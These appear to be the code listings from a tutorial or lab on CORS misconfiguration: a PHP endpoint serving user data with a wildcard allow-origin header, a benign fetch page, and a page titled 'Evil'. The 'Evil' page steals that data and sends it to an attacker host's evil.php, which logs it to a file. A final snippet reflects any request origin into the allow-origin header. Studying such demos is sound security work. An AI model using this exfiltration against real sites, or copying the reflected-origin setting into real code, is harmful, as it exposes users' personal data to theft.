1
2
3
4
5
 
<?php
	header('Access-Control-Allow-Origin:*');
	header('Content-type: application/json');
	print '({"id":"1","name":"alice","email":"[email protected]"})';
?>
 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>info api</title>
</head>
<body></body>
<script>
    fetch('http://192.168.0.104:81/user.php')
    .then(function(res){
        return (res.text());
    })
    .then(function (text) {
        document.write('请求成功：',text);
    })
    .catch(function (error) {
        console.log('请求错误：',error);
    });
</script>
</html>
 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 
<?php file_put_contents('cors.txt', $_GET['file']);?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Evil</title>
</head>
<body></body>
<script>
fetch('http://192.168.0.104:81/user.php')
.then((res)=>{return res.text()})
.then((text)=>{fetch('http://192.168.0.104:8088/evil.php?file=' + text)})
.catch(function (error) {console.log('请求错误：',error);});
</script>
</html>
 

1
2
3
4
5
6
7
 
<?php 
if(@$_SERVER['HTTP_ORIGIN']){
    header('Access-Control-Allow-Origin:'.$_SERVER['HTTP_ORIGIN'])
}else{
    header('Access-Control-Allow-Origin:*');
}
?>